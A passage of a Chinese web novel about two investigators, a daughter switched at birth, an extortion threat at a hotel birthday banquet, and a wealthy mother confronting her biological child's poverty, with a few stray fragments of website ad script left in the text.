她凄厉尖叫:“你他妈竟然敢骗我?” 女孩一巴掌扇到中年男子脸上,扇得对方滴溜溜旋转720度,两脚打架,摔倒在地上。 路人指指点点:“活该,啧啧。” 宋流星:…… 原来人贱真的会有天收。 以为自己拿捏年轻女孩如探囊取物,结果,嘿,你猜怎么着,看走眼了,惹到硬茬了,踢到铁板了! 宋流星哼着小曲,蹦蹦跳跳回到台阶上,把荧光绿的劣质小电扇递给临时工,“丑是丑点,风力还挺大的。” 仲光华接过电扇,对着自己脚踝吹起来。 “发生什么事了?你看起来好开心。” 宋流星嘿嘿笑:“没什么。就是觉得,这个世界虽然总是让人失望,但是偶尔也会让人开心一下。” 仲光华一下子严肃起来:“你觉得世界让人失望吗?为什么?” 宋流星惊讶看过去一眼。然后立刻又笑起来。 “对哦,你是有钱人,你肯定觉得世界很美好。嗨,你不会懂的啦。” 仲光华:…… 无言以答。 就是很不爽。 20. 意外横生 周六,拆迁户老头带上女友去儿子家吃饭,跟踪活动暂停。 难得的闲暇,宋流星却却没法坦然享受。 今天是苏小姐妈妈的生日。 苏小姐一家会在花城最奢华的酒店里宴请亲朋好友。 苏小姐说,等送走客人,晚上就和妈妈坦白,然后安排两家人见面。 能顺利进行吗…… 总觉得会有意外呢。 明明这件事已经和宋流星没关系了,她却无法自控,担心不已。 到了下午三点,她果然接到苏小姐的电话。 电波里的声音带着哭意:“怎么办,我完蛋了,帮我!” 宋流星立刻打电话给临时工,通知他在酒店碰面。 * 宋流星和仲光华汇合后,在酒店的多功能厅找到了苏小姐。 这里是酒店里最大的宴会厅。 十来个工作人员正在忙碌穿梭,四处布置着彩带、轻纱、气球和鲜花。 原本简洁的大厅,渐渐被粉紫色系和银色星星点点填满。 宋流星用赞美开场:“这里好漂亮啊!” 苏小姐强笑一下:“我妈妈最喜欢这种风格了。我希望今天一切都完美,所以提前过来盯着。” 她深呼吸,带着两个调查员进了大厅附带的小房间,锁好门,把手机递给宋流星。 “王阿红不知道从哪里知道我家今天办宴会,给我发了这个。” 屏幕上是一连串消息: 【别想骗我,你能随手拿出80w,拿不出剩下的20w?】 【你是不是以为我是穷光蛋,随手打发我?】 【今天是你妈妈生日,在万豪酒店开宴会,对吧?】 【下午六点之前把剩下的钱转给我,不然我就去宴会上闹了。】 宋流星仔细看完,大惊失色:“她这里说的……你……已经给她钱了?” 苏小姐捂住脸:“因为我手边刚好有一些股票涨了……我一时没忍住,把股票全抛了,钱转给她了。” “我跟她说,短时间内只能拿到这么多钱,等到年底拿到店里的分红,就可以把剩下的20万给她。” 她崩溃大叫:“谁知她这么不讲道理!” 宋流星无言以答。 临时工说的没错,人一旦过于渴望某个东西,就会开始自己骗自己。 苏小姐一心只想保全现有的亲子关系,想让秘密永远是秘密。 她的愿望是那样强烈,以至于她根本不愿意正视现实。 宋流星用自己的手机打给王阿红,直接被挂断。 仲光华的手机也是相同待遇。 苏小姐抱着自己的胳膊,止不住发抖:“我的流动资金真的只有这么多了!其他的都是长线投资,不可能立刻拿出来。我都说了到年底就会给她,她为什么不信我,为什么要这样为难我!“ 仲光华冷冷开口:“她只是吓吓你,不会真的来闹的。” “王阿红的目的是钱,从你这里敲诈只是前奏,她的最终目标是你父母。她不会用大闹宴会这种方式毁掉自己的形象的。” 苏小姐满怀希望抬起头:“真的?” 仲光华与她对视,目光十分自信:“真的,我确定。放心吧。” 宋流星抬起手:“等一下。” “如果她是为了钱,为什么要来这一出?” “老老实实的,和亲生父母团聚,从长计议,不好吗?” 听到“亲生父母”四个字,苏小姐肉眼可见抖了一下。 仲光华:“穷人在生活重压之下,大脑会退化,往往强烈倾向于满足当下。” “对她而言,从长计议就像是健康的生活方式,知道是好的,但是做不到。而榨取一笔小钱,就像是近在眼前的垃圾食品和香烟酒精,害处无穷,却无法抗拒。” 苏小姐:“有道理!我觉得就是这样!” 仲光华:“这样,苏小姐,你继续在这边布置会场,我和流星去外面盯着,如果王阿红出现,我们会提前把她拦住,不会让她破坏宴会。” 苏小姐满眼放光,连连点头。 仲光华:“最重要的是,苏小姐,这件事注定是瞒不住的。你要抓紧时间和父母沟通。” “这件事必须是由你主动告知。你明白吗?” 苏小姐呼吸一窒,艰难点头。 两个调查员出了宴会厅,沿着走廊来到大堂。 仲光华环顾四周,将室内格局尽收眼下,带着宋流星走到靠近大门的一处沙发。 “我们就坐在这里吧。如果王阿红过来,我们一眼就能看见她。” 宋流星:“你不是打包票说她不会来吗?” 仲光华:“那不过是安慰苏小姐的说辞而已。” “王阿红就算有90%的几率不来,那也会有10%的几率到来。人心难测,没有人能百分百预料别人的行动。” 宋流星看了他一眼:“你对苏小姐真好呢。” 仲光华心跳一乱。 什么意思?吃醋吗? 阿芳吃醋了吗? 不等他说话,宋流星冷笑道:“另一边呢,王阿红在你嘴里快成垃圾了。又是hei社会,又是大脑退化的。” 仲光华疑惑发问:“这些推测有什么问题吗?我觉得很合理。你是有其他推测?可以拿出来讨论的。” 宋流星:“没有。我没有其他推测。” 她烦躁地抓抓头发:“好渴。喂,临时工,去买两杯冰美式来。” 仲光华四下里看了看,起身。 宋流星:“你去哪?” 仲光华指着大厅深处:“去咖啡厅。” 宋流星惊讶道:“这种酒店内部的咖啡厅多贵啊!钱不是这么花的!“ 她指着大门外:“你去外面买吧。左边路口马路对面有一家连锁店,过来的时候我看到了。” 仲光华:…… 他微笑点头,“好,我去外面买。” 宋流星:“拿好小票,回来我给你报销。” 仲光华:…… 就这样,年轻的豪门继承人兼CEO,为了购入更便宜的冰美式,推开酒店大门,走上潮湿炙热的的街头,跋涉前往便宜的小店。 宋流星在沙发里弹了弹。 不愧是五星酒店,沙发好舒服啊。 她忽然注意到大门进来一个人。 是一个约莫五十多岁的女人,身材特别瘦小,如果不是那佝偻的脊背,几乎会被错认成小学生。 瘦小女人进门之后似乎不知该去哪里,站在原地四处张望,动作十分鬼祟。 大堂经理立刻注意到她,快步迎上前去,弯着腰和她说了些什么。 宋流星听不清他们的说话声。 虽然大堂经理满面笑容,但估计说出来的话并不好听,瘦小女人很快激动起来。 宋流星眯起眼睛,仔细观察那个女人。 她凝视着那张刻满了生活艰辛痕迹的脸,脑海中奇迹般闪过另一张养尊处优的脸。 苏小姐的脸。 宋流星猛然起身,一溜小跑过去。 “华英?”她呼唤道。 瘦小女人睁大眼睛,“你是谁?你认识我?” 宋流星笑道:“我是王阿红的朋友。” 她转头朝向大堂经理:“我是今晚在多功能厅办生日宴的苏小姐的朋友。” 她挽住华英的胳膊,“这位是苏小姐的客人。” 大堂经理虽然心存疑惑,却还是礼貌地退开了。 宋流星带着华英到沙发坐下。 她默默观察着。 这个华英,真的很鬼祟。刚才那匆匆一眼之后,她再也没抬过头,身体也蜷缩着,仿佛想把自己藏起来。 宋流星突然出声:“你知道王阿红的计划吗?” 华英惊讶抬头:“什么计划?” 不像是装出来的。 宋流星笑笑:“我也不知道啊。就是感觉她最近神神秘秘的,好像在计划什么。” 她一边说话,一边把手机举到胃部,偷偷拍了一张华英坐在沙发里的照片,发给王阿红。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 华英抬头了一瞬,激动道:“是吧!我也觉得!” 随即又低下头,在沙发里不安挪动,絮絮道:“我女儿最近一直神不守舍的,感觉心里有事儿。可是我问她吧,她却什么也不肯说。” “今天她一大早起来就出去了,我发消息不回,打电话也不接。” “我生怕她是出了什么事,就出来找她。” 宋流星:“她和你说了今天要来这里吗?” 华英连忙摆手:“不是的,她什么也没说。” 宋流星:“那你怎么知道她在这里?” 这问题,已经有点不礼貌了。 但是华英竟然诚惶诚恐拿出手机展示:“我女儿给我装了一个什么app,我们能互相看到对方的位置。” 她指着gps地图上的红色小点:“你看,这是她的位置。” 宋流星暗暗心惊。 明明是陌生人,可华英的态度也太卑微了。 这么个软绵绵的人,难怪会一个人辛苦操持店面十几年,却一夕之间被扫地出门。 宋流星磨了磨牙。 当事人若换做是我,不把他家闹得鸡飞狗跳永无安宁,我是绝不会罢休的。 她凑过去看华英的手机。 “等一下。”她心中一跳,“你说,这个红点是王阿红的位置?” 华英连连点头:“是啊!” 宋流星睁大眼。 地图上,这个红点,正正的就压在酒店的位置上啊! 这时,酒店门外响起喧哗声。 宋流星循声望去,看到许多路人加快脚步往某个方向跑去。 连门童都离开大门,站在马路上张望。 * 五分钟之前,五十米之外,咖啡店门口。 仲光华走到此处时,正好有个人从咖啡店出来。 一个眼熟的人。 是谁来着? 对了,是那个被抱错的女孩。 宋流星习惯使然,偷拍了许多照片,他全都看过。 仲光华一个滑步上前,出手如闪电,抓住王阿红的胳膊。 王阿红大叫出声:“你干什么?你放手!” 仲光华紧紧抓住她,压低声音逼问:“你来干什么?你真打算在宴会上闹?” 王阿红拼命挣扎:“你是谁?我不认识你!我不知道你在说什么!放手!快放手!” 路人纷纷侧目。 好几个人停下来,似乎在犹豫要不要上前。 仲光华大声道:“你是想让我报警吗?” 王阿红动作一僵。 仲光华紧紧钳着她手臂:“你知道勒索的刑事立案标准是多少钱吗?五千。你跟苏小姐要了多少?一百万。” 他冷笑起来:“你可真敢啊。” 王阿红:“那是她心甘情愿给我的!” 路人震惊,压低声音议论起来。 仲光华:“你忘记自己给她发了什么消息?你说,不给钱,就去她母亲的宴会上闹。这是标准的勒索用语。” “只要苏小姐报警,你一定会坐牢。你这个金额属于情节特别严重,服刑时间上不封顶。” 王阿红瞳孔收缩,身体紧绷,牙齿咬得咯咯响。 仲光华:“知道怕了?我劝你从现在开始乖乖的。” “我现在松开,你给我乖乖的,不要试图逃跑。” “走吧,和我去酒店,我们聊一聊接下来的计划。” 这时,王阿红的手机响起来。 她没有接。 仲光华:“你可以接。我没有要限制你自由的意思。” 王阿红伸手去拉小包上的拉链。 拉开了三厘米。 然后她头一缩,一个旋身,拼命飞奔离去! 仲光华大惊,几步追上去,伸手拉住王阿红胳膊,一拉一扯,一套过肩摔标准动作,王阿红就像是一个没有重量的娃娃,被抡到空中,再摔倒地上。 王阿红趴在地上,被仲光华用膝盖压着后背,整个人就像被大象踩住的老鼠,一寸都移动不了。 21. 亲生母女之初见 今天是林女士的生日。 从早晨起床开始,她的心情一直很好。 上午的行程是巡视店铺。她带着秘书和司机,高速巡视了市区的十四间连锁店铺。 她和丈夫刚结婚时,一起开了一家卤味店。 披星戴月辛勤劳作了两年之后,开了第二家店铺。 二十五年之后,当初的小店,已经变成一百多家店面组成的连锁品牌。 两人有一个独生女儿。 这个女儿和她的期待有一点点不一样,具体怎么个不一样很难说,但林女士心想,人不可以贪心,这个宝贝女儿,已经给她带来太多快乐。 她的女儿,婴儿时期就特别好带。 别的婴儿总是哭个没完没了,可是她的文文很少哭,总是用葡萄一样的大眼睛看着你,咯咯笑着,每天都让新手妈妈的心融化一百次。 长大一点之后,文文学会了撒娇。 总是娇娇地喊妈妈,没事就抱着妈妈的手臂,用小脸蛋紧紧贴着。 每当这时候,她所有的烦心事都会消失。 开店不是一件容易的事。事业初期挫折不断。 但是每一次精疲力尽心灰意冷的时候,只要看到她的宝贝,把宝贝抱进怀里,林女士都会被治愈。 为了给宝贝一个更好的未来,不管遇到什么挫折,林女士都会像打了鸡血一样,重振旗鼓,克服万难。 林女士心想,女儿不完全是她期望的样子,但毫无疑问是个优秀的孩子。 她从小品学兼优,是别人家用来举例的“别人家的孩子”。 大学毕业之后,听从父母的安排,接手了一家店面当店长,从第一线的实践中学习品牌经营。 这个店长,女儿做得像模像样,有声有色。 实在令人欣慰。 林女士巡视完店铺,回家吃午饭。 虽然有家政阿姨,但是宝贝女儿今天亲自下厨房,炖了一锅番茄牛腩,味道很好。 吃完饭,女儿就神神秘秘出去了。 林女士知道她是去酒店准备宴会了。 女儿跟她说的是简单庆祝一下。但酒店的熟人偷偷告诉她,苏小姐订下了最大的多功能厅,还请了宴会公司来布置现场。 这个孩子,从小花招就多。 林女士心里美滋滋。 整个下午,林女士不断在家里走来走去。 苏先生坐在沙发上,忍不住说:“你晃得我头晕。我看你干脆提前去酒店好了。你们娘两不是都喜欢万豪的下午茶吗,正好在晚饭前垫垫肚子。” 林女士大喜:“说得对!” 于是她拎上包,开上车,立刻出发。 四十分钟之后,车子开到万豪酒店附近。 林女士随意瞥了一眼人行道,瞳孔收缩。 那不是她的宝贝女儿苏文吗? 苏文神情慌张,大喊大叫着什么,路人在她身边围了一大圈。 出什么事了? 林女士心脏猛跳,顾不上违章,在路边停下,跳下车去。 * 林女士大步跑过去,耳朵里听见女儿大叫:“你放开她!你快放开她!” 她心慌不已,大力扒开人群,看到激烈的一幕: 一个高大的年轻男人把一个瘦小女孩反剪双手按在地上,女孩疯狂挣扎,却完全挣脱不开。 旁边一个中年女子疯狂尖叫,手舞足蹈,一个年轻女人使劲拉着她,抬头冲着男人大喊:“你放开她啊!你会弄伤她的!” 男人也生气大喊:“我一放开她就会跑!” 林女士冲到女儿身边,拉住女儿的手。 苏小姐惊讶大叫:“妈妈!” 在地上对抗的年轻男人和瘦小女孩,在旁边对抗的中年女子和年轻女人,瞬间全都停止了动作,目光唰唰转向林女士。 饶是林女士经过大风大浪,也被这四道视线的激烈吓了一跳。 瘦小女孩停止了挣扎,年轻男人顺势掐住她的手腕,把她从地上拉起来,警告:“你别想跑。跑的了和尚跑不了庙,你勒索已经是既定事实,我可以叫警察抓你,你明白吗?” 一直在旁边拉架劝和的年轻女人看向林女士,目光灼灼:“既然大家都到了,就坐下来好好聊一聊吧。” 林女士满头雾水,却只是沉静道:“说得对,我们去酒店里聊。” * 一行人回到宴会厅,把正在布置的工作人员暂时赶了出去。 大厅里还没开始摆桌椅,一群人只能站在大厅一角。 林女士抱住女儿肩膀,冷冷审视在场其他人。 年轻男人衣着上品,气质强硬,很突出,很显眼。 对自己说话的那个年轻女人也还好,虽然衣着廉价,但是气质稳重,看着像个正经人。 另外两个就不好说了。 一个女孩,一个中年女子,两个人同样,气质也如出一辙,鬼鬼祟祟,眼神乱飘,好像老鼠一样。 林女士向前半步,用身体稍微挡住女儿,发问道:“怎么回事?” 一时间没人说话。 仲光华咳嗽一声,打破沉默,“事情是这样的。” 他看一眼苏文,“苏小姐无意中发现,她和你没有血缘关系。” 他又看一眼紧紧贴在一起的王阿红和华英,“所以她去了医院查证,找到这对母女,证实了抱错的事实。” 林女士一阵头晕目眩。 抱错?什么抱错?抱错是什么意思? 这人在说什么鬼话? 仲光华指着王阿红,看向林女士:“也就是说,她才是你的亲生女儿。” 林女士看了一眼王阿红。 这个老鼠?开什么玩笑? 仲光华:“苏小姐帮王阿红和你做了亲子鉴定,结果显示,王阿红确实是你的孩子。” 林女士大脑空白。 不知过了多久,她茫然抬头,发现王阿红站在自己对面,死死盯着自己。 那道眼神,鬼祟又凄厉,令人不适。 林女士撇开头,抱紧女儿。 苏文腿都软了,窝在妈妈怀里大哭:“妈妈,是真的。他说的都是真的。” 仲光华看着林女士:“王阿红向苏小姐提出,如果苏小姐给她100万现金,她就远走他乡,永远不和你相认。” “苏小姐尽力凑了80万,还有20万拿不出。王阿红感到不满,威胁说,必须立刻给足金额,否则她就在你的生日宴会上大闹一场。” 林女士脑子里一团乱麻。 到底发生了什么? 我是不是在做梦? 这一切太不真实。 但是久经生意场的身体立刻做出了反应。 林女士看向王阿红,厉声道:“你这是勒索!我们可以报警的你知道吗?” “你知道勒索的刑事立案标准是多少钱吗?五千。你竟敢跟我女儿要一百万?这个金额,够你坐十年牢的了!” 王阿红怔怔望着林女士,看着她疾言厉色,听着她说“我女儿”,还有“报警抓你”,还有“让你坐十年牢”。 一旁的华英凄厉尖叫:“她是你亲生女儿,你要抓她坐牢?” 林女士打了个寒战,也尖叫:“闭嘴!她不是我女儿!” 苏文慌得要命,紧紧抱着妈妈,就像溺水之人抓着浮木一般。 王阿红突然笑了:“苏小姐,你抱那么紧干什么,这边才是你亲妈。” 苏文剧烈颤抖起来。 林女士指着王阿红大叫:“你闭嘴!再说一个字,我立刻叫警察抓你!” 王阿红隐去笑容,神色异常平静:“我不会乱来,别叫警察。” 她看着抱在一起的苏小姐和林女士:“你们才是母女,和我没关系。” 她紧紧攥住华英,一字一句:“这才是我妈妈,我唯一的妈妈。” 华英根本受不了这样紧张的场面,早就腿软了,她挂在女儿身上,凄厉喊道:“阿红!别管我了!那才是你妈妈啊!你亲生的妈妈!你看她长得和你多像——” 王阿红大吼:“闭嘴!” 华英瞬间闭嘴如蚌壳。 王阿红笑笑:“不用担心她。我会跟她说明白道理。” 她看向苏小姐:“她不会去找你的。” 苏小姐本来在偷看这边,闻言,剧烈抖了一下,躲回林女士怀里。 王阿红:“既然如此,那么,苏小姐,之前你已经给我的钱,就当作买断这一切吧。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “剩下的20万,你不是拿不出吗,没关系的,我不要了。” 在场所有人都惊呆。 王阿红旁若无人,继续道:“我拿了钱,自然会遵守诺言。我会带着我妈妈离开这里,再也不回来。” 苏文窝在妈妈怀里,惊慌茫然,不知道发生了什么。 王阿红环视众人,语气冷静:“你们可以作证吧?” “之前的钱是她自愿给的,剩下的钱我也不要了。” “这样的话,不算勒索了吧?” 众人说不出话。 王阿红深吸一口气,挽住华英的胳膊,头也不回地离去。 * 宋流星和仲光华离开大厅,乘大堂电梯下到负二楼停车场。 仲光华一眼看到那辆难看的红色大众朗逸。 真是狗屎一眼的颜色。 他随口道:“开我的车回去吧。你的车找个代驾开回去。” 听到这话,宋流星古看过来一眼,眼神十分古怪。 仲光华没来由的心里一抖,没话找话:“怎么,你想自己开回去?” 宋流星看了好一会儿。 最后,幽幽叹了一口气:“就满足你这一次吧。” 仲光华:? 车子开出地库大门,汇入城市车流。 宋流星握着方向盘,看着前方景色变幻,闭口无言,认真开车。 车内一片沉默。 沉默仿佛化作实质,粘稠厚重,在狭窄的空间里缓慢流淌,令人窒息。 仲光华越来越不能忍受。 就在他出声的前一秒,宋流星开口了。 宋流星:“你是不是觉得你表现挺好的?成功抓到了王阿妹,阻止了她大闹宴会?” 仲光华心中一紧,立刻否定:“没有。我没这么想。” 他想起来,虽然不知道为什么,但宋流星一直在维护王阿妹。 他立刻检讨:“虽然我也是情急之下,但我确实对王阿妹太粗鲁了,我不应该把她按在地上。” 他进一步检讨:“我更不应该让林女士亲眼看到那一幕。是我能力不够,没能控制好场面。” 宋流星笑了:“你对自己要求太高了。谁能想到林女士会突然出现?这不是你的错。” 仲光华看着那个笑容,一点也没觉得轻松。 他紧张等待着接下来的话。 果然,宋流星的转折来了:“只是,有件事,我忍不住一直在想。” 仲光华:“你在想什么?” 宋流星:“从一开始,你就认定王阿妹是这故事里的反派。为什么?因为她生于贫穷,长于艰辛?” 仲光华刚想否认,却突然意识到这一点很难否认,只好说实话:“她不是吗?勒索是事实吧。” 宋流星仍然微笑:“谢谢你的坦诚。” “刚才描述事情经过的时候,只是简单几句话,你却微妙地扭曲了事实,尽力维护了苏小姐。不要否认。我只是想知道,你为什么这样做。” 仲光华:“她是我们的客户。维护客户是应该的吧。” 宋流星还在笑:“真的吗?我都不知道你这么敬业。” 宋流星叹了一口气,“李老板啊。” 仲光华寒毛倒竖。 这个称呼让人感觉十分不妙。 宋流星看着前方,“我怎么感觉,你帮她,是因为她和你一样是有钱人,所以你把她看做同类?” “在你眼里,有钱人都是好人,穷人都是坏人。” 仲光华一时语塞。 宋流星看过来一眼,神情肃然:“李老板,我也是穷人啊。” 她重新看回前方,认真检查路况,声音平静:“李老板,你有能力也有资源,应该去做一番大事业。何必在我这里做一个小小调查员?实在是屈才……” 不妙!非常不妙! 仲光华脑子飞速转动,寻找补救措施。 一个画面闪电般撞进他的脑海。 他猛然出声:“我刚才注意到,华英的眼神很奇怪,眼球好像不受控制一样!” 就在这一瞬间,仲光华意识到,自己可能真的犯了一个错误。 宋流星投来惊讶一眼:“你竟然注意到了?” 22. 母亲的战栗 从周六到周日,林女士一直处在巨大的不真实感中。 周六下午,她被人当面扔了一个炸弹,说宝贝女儿不是亲生女儿,是当初医院抱错的。 传说中的亲生女儿骤然出现在她面前,畏缩鬼祟,活像阴沟里的小老鼠,令人十分不快。 怎么可能?怎么会有这种事? 一定是弄错了。 傍晚时分,亲朋好友陆续抵达酒店。 林女士戴上生意人的敬业面具,拉着女儿苏文的手,周全招待了所有宾客。 生日晚宴圆满成功。 回到家,林女士直接进了房间,任谁敲门也不理会。 她扑在床上,心中烦躁不安。 宝贝女儿一定很惊慌、很害怕吧。 但她一时半会地竟然无法面对自己最亲爱的孩子。 每次一闭眼,眼前就会浮现出那个小老鼠的样子。 那张可怜兮兮的脸,渐渐变得清晰。 林女士意识到,那张脸,其实长得很像自己。 * 林女士状态糟糕极了。 一整夜,躺下睡不着,醒着又浑浑噩噩。 好不容易熬到早晨,她起了床,强打精神洗澡吹头,换好衣服。 苏先生和苏小姐正在桌边吃早饭,看到林女士下楼,两个人都站了起来。 苏先生看到她一身规整的衣服,十分惊讶:“你要出门?去哪?” 林女士:“上班啊。还能去哪。你怎么还穿着家居服?赶紧去换衣服。你也得上班。我就不等你,先走了。” 苏先生紧紧拧眉:“上什么班?我们有更重要的事要谈。” 林女士:“什么都没有上班重要。” 说完,她也不听丈夫要说什么,只顾着匆匆离去。 刚到办公室,秘书竟然告诉她,有两位客人一大早就过来等着了。 * 宋流星一大早就跟着仲光华来到“绝味棒棒鸡”总部办公室。 两个人在会客室坐了二十分钟左右,秘书过来告诉他们,林总到了,请他们过去聊。 宋流星惊讶道:“她真的来上班了。你怎么知道她会来上班?” 仲光华自满笑笑:“她给人的感觉是这样。” 当然,也悄悄四处找人打听了,绝味棒棒鸡的林总是个什么样的人。 所有人都说,她是个超绝无敌工作狂。 两人进了总经理办公室,在会客沙发坐下。 秘书送了两杯茶水进来,随即离开。 林女士坐在硕大的办公桌后面,发型高耸,衣着完美。 只有那双眼睛看起来疲惫又憔悴。 林女士两手抱胸,一派戒备:“那边的母女两派你们来的?她们有什么话要对我说?” 不等回答,她焦躁得抖起腿来:“我老公说要大家一起见个面。” “好笑,见什么面,他根本不知道那边是什么样的人。” 宋流星无奈笑道:“什么样的人呢?林女士,你也只见过她们一面,就要下结论吗?” 林女士带着怒气瞪过来一眼。 宋流星:“不是她们叫我来的。事实上,她们已经开始着手搬家的事,准备要迎接新生活了。” 林女士冷笑:“搬家?用我女儿给她们的钱搬家?” 宋流星:…… 好重的敌意。 她清清嗓子,“其实今天我们来这里,是因为知道了一些事,觉得林女士你应该知道。” 说话间,她偷偷观察林女士。 对方昂着下巴,眼睛看着别处,一副不关心的样子。 可是,并没有出言阻止。 宋流星:“苏小姐跟你说了没有,关于她为什么会突然怀疑亲子关系。” 林女士:“她说了。” 她忍不住露出一丝心疼:“傻孩子,生了病却不敢说,这么长时间都一个人默默忍着。” 宋流星点点头,嗯了一声,低声开口:“苏小姐的亲生——” 她看到林女士眼神一变,瞬间改口:“不,生物学母亲。她也有这个病。” “周六那天在酒店,我也是第一次见到华英。哦,华英就是苏小姐的——” 林女士粗鲁打断:“我知道。” 她一点也不想听到“母亲”这两个字。 宋流星:“不知你是否注意到,华英总是低着头,不敢正眼看人。” 林女士嘴角紧绷。 她当然注意到了。 那种鬼祟的气质,实在令人不愉快。 宋流星:“她那样其实是为了掩饰症状。因为她的眼球会不受控制地动来动去。” 林女士心中一跳。 宋流星继续道:“华英和苏小姐有同一种病,而且,早就发病了。” 林女士深吸一口气。 “所以……她们其实早就知道了。” 宋流星点头。 “她们是两年之前发现的。” “那时候,华英突然发病。去医院做完检查之后,医生建议王阿红做了基因测序。” “那个时候她们就知道了。她们两个人,没有血缘关系。” “正因为如此,苏小姐找上门的时候,王阿红一点也不惊讶。” “而她这种平静的态度,造成了一系列的误会。” 林女士举起手,“等一下,先别管后面那些事。” “如果她们知道彼此不是亲生,为什么不去寻找亲人?去生产的医院的话,很容易就能查到结果吧。” 宋流星:“因为她们不想分开吧。” 林女士皱眉:“有什么分不分开的。查清真相之后还是可以继续来往啊。” 宋流星:“但那样,就不再是彼此的唯一了。” 林女士心中一震,闭口不言。 宋流星:“我是觉得这整件太不对劲,才去了王阿红家里追问的。” “她虽然跟我说了一些,但是更详细的,也不肯再多说了。” “她大约是觉得,说太多的话,会显得她在诉苦吧。” “我看得出来,她是一个自尊非常高的人。” 林女士冷哼:“自尊高的人会像她这样伸手跟人要钱?” 宋流星转头看了一眼仲光华,目光复杂,仿佛在说,你们有钱人啊。 仲光华瞪了回去。仿佛在说,我已经改邪归正了,不可以继续无差别扫射了! 宋流星看着林女士,轻轻叹气。 “不要故意说难听的话啊,林女士,你心里不是这么想的。” “你可以理解的吧,她们母女两,一个患了病,没法工作,一个在快餐店里当服务员。她们真的很穷。” “而华英的病要看医生,要吃药,要加强营养,要静养。到处都需要钱。” “我也不好说王阿红具体怎么想的。但她肯定不是高高兴兴做这件事的啊。” * 穿制服、戴白手套的司机转过头来:“林总,前面进不去了。” 他指着前方狭窄的通道:“太窄了,车子过不去。” 林女士顺势去看,前方一片拥挤混乱的自建房,楼与楼之间的空隙极其狭窄,比起“通道”,更像是“缝隙”,看起来仿佛会将人吞没。 想到王阿红一直住在这种地方,她心跳骤然乱了一下。 司机:“林总,我先停好车,然后陪你过去?” 林女士摆摆手:“不用。我一个人过去。” 她深吸一口气,开门下车。 林女士走进了那道昏暗的缝隙。 明明是大白天,缝隙里竟暗无天日。 路边昏黄灯光摇曳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,那是一家小超市。 林女士拿着记事本里的手写地址上前询问,超市大姨帮她指了路。 林女士走进了更加昏暗的单元门。 一直向上,直到四楼,天光才从楼道的小窗射进来。 她继续向上爬了半层,抬眼就看到左五楼左边的防盗门大开着,门口堆满了编织袋和纸箱。 林女士心中一紧。 调查员没骗人。她们真的已经开始打包,马上要离开了。 就在这时,王阿妹拎着一个大编织袋走到门口。 她动作粗鲁,手一松,编织袋落在地上,震得楼板都在晃。 华英的声音立刻从门里响起来:“阿红!你轻点啦!楼下的人又要说了!” 王阿红转头跑进门里,不在意的声音从房间里传来:“我们都要走了,管她怎么说。真是,我这辈子没见过这么唧唧歪歪的人。我都恨不得在家爬着走了,她还天天上来说我们声音太大,吵到她了!” “好嘛,既然嫌我们吵,那就好好让她见识一下什么叫吵!” 华英絮絮叨叨:“何苦呢,既然要走了,就给人家留个好印象嘛……” 王阿红:“妈!你要是没有我,真的会被人家欺负死!” 华英:“哎呀,你乱说什么呀……” 可是她的声音明显低了下去。 林女士站在楼梯间,感到好笑。 此情此景,微妙的有些似曾相似。 没必要的以和为贵。 她的女儿,文文,也有这个毛病。 文文从小温柔甜美,善解人意。 作为女儿,她很贴心,但是面对外人,她却很容易被欺负。 文文小的时候,面对无理的要求,甚至说不出一个“不”字来。 只要有一点坏心,欺负她、占她的便宜可太容易了。 在女儿的整个成长过程里,她每天都满心忧虑:要是没有我,我的女儿可怎么办啊!她会被外人欺负死的! 原来在别人家,竟然是反过来的。 文文有很多毛病。 她从来不是坚强的孩子。遇到难事,总是想着逃避。 但是这又有什么关系呢? 她的妈妈足够坚强,可以当她的后盾。 就这样,在母亲温暖的翅膀之下,文文顺利长大了。 而与此同时呢? 林女士想起那位女调查员跟她讲述的孙阿红一生的概要。 出生在一个贫穷的家庭,家里唯一的财产,是一间不到十平米的肠粉店。 5岁的时候,开始在肠粉店里帮忙。 收碗碟,擦桌子,没几年就进展到动用菜刀帮忙备菜。 12岁的时候,肠粉店拆迁,家里得了一笔补偿款。 爸爸心思活络,计划迎娶新老婆。 她和妈妈,被扫地出门。 王阿红跟着妈妈来到大城市。 18岁,她在一间不看户口的民工学校完成中学课程,开始打工养家。 换了很多份工作之后,来到现在这家连锁快餐店。 她勤劳肯干、抓住一切可能的机会,加入了公司总部的培训计划。 顺利的话,三年之后就能当上店长。 谁能想到? 在我拼命为文文建筑城堡的时候,我亲生的女儿,却被迫一个人直面风雨。 林女士内心几乎有些颤栗。 这个小孩,真的很像我。 她就像曾经的我一样,无依无靠,却能战胜风雨,为自己挣得一席之地。 突然,华英从门里探出头来。 她的嘴巴张成圆形。 明明认真看着这边,一只眼球却滑稽地滑向一边。 华英手足无措,慌乱招呼:“啊,你来啦。那个,快进来,进来坐一坐吧。” 23. 倔驴母女 多年来积攒的家当都已经陆续打包好,搬家小货车也已经约好,明天早晨会来到楼下。 马上要离开这个生活多年的城市,华英心里七上八下。 不仅是担心着未知的生活,还有…… 阿红,阿红! 阿红到底是怎么想的,竟然从亲生父母那边捞了一笔80万元的巨款! 那天,在那间豪华奢靡的酒店里,她和宝贝女儿的亲生母亲对峙了。 场面太过紧张恐怖,她全程无法呼吸,事到如今,连记忆都变得模糊。 到底发生了什么? 华英的心一直落不到实处。 但是别无他法,自从女儿成年之后,她早已习惯事事听从女儿吩咐。 她叹了一口气,想着把女儿随便扔下的编织袋归置整齐。 走到门口,却发现楼梯间有人。 好眼熟…… 是她!是她!是她! 是那位一看就很有钱,气势十足的夫人,阿红的亲生妈妈! 华英手足无措,慌乱招呼:“啊,你来啦。那个,快进来,进来坐一坐吧。” 林女士上了最后半层楼,走进那道门。 她忍不住深吸一口气。 这里就是……亲生女儿一直生活的地方。 华英急吼吼把沙发上乱七八糟的衣服被单抱开,招呼林女士坐下,又匆忙走去厨房准备茶水。 林女士坐进沙发。 杀伐决断的女商人难得的心情紧张、身体紧绷。 她环顾四周。 屋子狭窄阴暗,因为搬家而显得混乱,但是看得出底子非常干净。 客厅里铺着老式白瓷砖,年代久远,边缘都开始破损,但是纤尘不染。 